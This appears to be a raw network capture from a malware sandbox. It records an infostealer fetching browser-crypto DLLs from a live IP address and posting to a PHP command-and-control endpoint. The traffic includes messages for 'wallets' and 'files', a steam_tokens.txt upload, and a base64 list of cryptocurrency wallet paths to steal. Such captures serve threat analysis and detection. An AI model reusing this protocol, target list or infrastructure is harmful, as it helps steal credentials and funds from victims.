Dec 24, 2024 14:02:31.933581114 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Dec 24, 2024 14:02:31.933615923 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Dec 24, 2024 14:02:31.933728933 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Dec 24, 2024 14:02:31.941824913 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Dec 24, 2024 14:02:31.941947937 CET	1236	IN	Data Raw: ff ff ff 8b 45 e4 13 85 5c ff ff ff 8b 5d 80 01 df 89 7d d0 8b 55 90 11 d0 89 45 e4 8b 4d b0 31 c1 89 4d b0 8b 75 94 31 fe 8b 7d c4 01 cf 89 7d c4 8b 45 bc 11 f0 89 45 bc 31 fb 31 c2 89 d8 0f a4 d0 08 0f a4 da 08 8b 7d d0 03 bd 30 ff ff ff 8b 4d Data Ascii: E\]}UEM1Mu1}}EE11}0M,}M1M1uuMM11(]uM]MM1U1}MMEE1}1U
Dec 24, 2024 14:02:33.539518118 CET	93	OUT	GET /ec05bb5a9eb90166/mozglue.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:33.940287113 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 24, 2024 14:02:34.818665981 CET	94	OUT	GET /ec05bb5a9eb90166/msvcp140.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:35.218590975 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 24, 2024 14:02:35.848346949 CET	90	OUT	GET /ec05bb5a9eb90166/nss3.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:36.238535881 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 24, 2024 14:02:39.327331066 CET	94	OUT	GET /ec05bb5a9eb90166/softokn3.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:39.736241102 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 24, 2024 14:02:40.421399117 CET	98	OUT	GET /ec05bb5a9eb90166/vcruntime140.dll HTTP/1.1 Host: 185.231.69.191 Cache-Control: no-cache
Dec 24, 2024 14:02:40.813663960 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 24, 2024 14:02:41.357085943 CET	201	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 185.231.69.191 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 14:02:42.112765074 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:42.171530962 CET	468	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKEBGHJKFIDGCAAFCAF Host: 185.231.69.191 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 2d 2d 0d 0a Data Ascii: ------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="message"wallets------JJKEBGHJKFIDGCAAFCAF--
Dec 24, 2024 14:02:42.564368010 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 24, 2024 14:02:42.572520018 CET	466	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF Host: 185.231.69.191 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="message"files------FHCAEGCBFHJDGCBFHDAF--
Dec 24, 2024 14:02:42.964823008 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:43.009423971 CET	564	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 185.231.69.191 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="file"------BGIIDAEBGCAAECAKFHII--
Dec 24, 2024 14:02:43.604243994 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:43.675074100 CET	204	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAK Host: 185.231.69.191 Content-Length: 134243 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 14:02:45.065581083 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:45.125251055 CET	473	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 185.231.69.191 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"ybncbhylepme------GIIJEBAECGCBKECAAAEB--
Dec 24, 2024 14:02:45.518033981 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:45.519048929 CET	473	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 185.231.69.191 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IECFIEGDBKJKFIDHIECG--
Dec 24, 2024 14:02:47.267704964 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
